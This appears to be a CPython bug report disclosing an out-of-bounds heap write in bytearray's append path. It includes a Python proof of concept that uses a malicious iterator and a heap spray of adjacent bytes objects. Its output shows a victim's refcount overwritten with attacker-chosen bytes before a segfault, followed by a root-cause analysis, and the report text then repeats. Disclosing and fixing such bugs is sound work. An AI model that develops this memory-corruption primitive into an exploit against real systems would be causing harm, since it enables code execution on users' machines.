Crash report
PoC
import sys
b = bytearray()
N, K = 400, 150 # offset K after front-shrink; alloc == N
VICTIMS = []
it = None
class EvilIter:
def __iter__(self): return self
def __next__(self):
global b
if not hasattr(self, "armed"):
self.armed = True
b += b'x' * N # size N, alloc N (major upsize)
VICTIMS[:] = [bytes(N) for _ in range(200)] # adjacent heap spray
b[0:K] = b'' # ob_start += K, quick-exit resize
self.rc = [sys.getrefcount(v) for v in VICTIMS]
return 0x41
if len(b) > 448:
raise StopIteration
return 0x41 # each byte lands further OOB
it = EvilIter()
b.__init__(it)
after = [sys.getrefcount(v) for v in VICTIMS]
bad = [i for i in range(len(VICTIMS)) if after[i] != it.rc[i]]
print("len(b)=%d __alloc__()=%d corrupted victims: %r"
% (len(b), b.__alloc__(), bad[:4]))
if bad:
print("victim[%d] refcount %d -> %#x (OOB write proof)"
% (bad[0], it.rc[bad[0]], after[bad[0]]))
sys.stdout.flush()
len(VICTIMS[bad[0]]) # use smashed ob_type/ob_size
print("no crash")
Output
$ python3 -X faulthandler main.py
len(b)=449 __alloc__()=489 corrupted victims: [1]
victim[1] refcount 2 -> 0x41414142 (OOB write proof)
Fatal Python error: Segmentation fault
Current thread 0x00007f0ba5586740 [python3.15] (most recent call first):
File "<stdin>", line 33 in <module>
Current thread's C stack trace (most recent call first):
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _Py_DumpStack+0x30 [0x4f0b80]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x59968b]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x5995de]
Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x3c050 [0x7f0ba52bd050]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1af309b]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a2d33f]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1a72484]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at PyEval_EvalCode+0xa6 [0x1a72182]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1ac87bb]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c7184d]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c71767]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c712c6]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1c6fc45]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at Py_RunMain+0x422 [0x1b8d062]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8cc1d]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15" [0x1b8ca6e]
Binary file "/lib/x86_64-linux-gnu/libc.so.6", at +0x2724a [0x7f0ba52a824a]
Binary file "/lib/x86_64-linux-gnu/libc.so.6", at __libc_start_main+0x85 [0x7f0ba52a8305]
Binary file "/home/user/.local/share/uv/python/cpython-3.15-linux-x86_64-gnu/bin/python3.15", at _start+0x29 [0x1be5437]
Root Cause
Objects/bytearrayobject.c:1117-1124: inline append tests only Py_SIZE(self)+1 < self->ob_alloc while both writes go through ob_start (= ob_bytes[offset+size]); the intended invariant is size + logical_offset <= alloc, which bytearray_resize_lock_held (:253) does check, proving the inline check is a bug.
The hostile state (offset >= 2, offset+size == ob_alloc) is reached by ordinary operations: major upsize (b += b'x'*N, alloc==size), then front-shrink (b[0:K]=b'' advances ob_start, minor-downsize quick exit). Thereafter the __init__ slow-path append loop writes each iterator byte further past the backing allocation (up to offset-1 bytes).
Versions Affected
Python 3.13+
CPython versions tested on:
3.15
Operating systems tested on:
Linux
Output from running 'python -VV' on the command line:
Python 3.15.0rc3 (main, Oct 3 2026, 01:07:55) [Clang 22.1.3 ]
Linked PRs
Crash report
PoC
Output
Root Cause
Objects/bytearrayobject.c:1117-1124: inline append tests onlyPy_SIZE(self)+1 < self->ob_allocwhile both writes go throughob_start(=ob_bytes[offset+size]); the intended invariant issize + logical_offset <= alloc, whichbytearray_resize_lock_held(:253) does check, proving the inline check is a bug.The hostile state (
offset >= 2,offset+size == ob_alloc) is reached by ordinary operations: major upsize (b += b'x'*N, alloc==size), then front-shrink (b[0:K]=b''advancesob_start, minor-downsize quick exit). Thereafter the__init__slow-path append loop writes each iterator byte further past the backing allocation (up tooffset-1bytes).Versions Affected
Python 3.13+
CPython versions tested on:
3.15
Operating systems tested on:
Linux
Output from running 'python -VV' on the command line:
Python 3.15.0rc3 (main, Oct 3 2026, 01:07:55) [Clang 22.1.3 ]
Linked PRs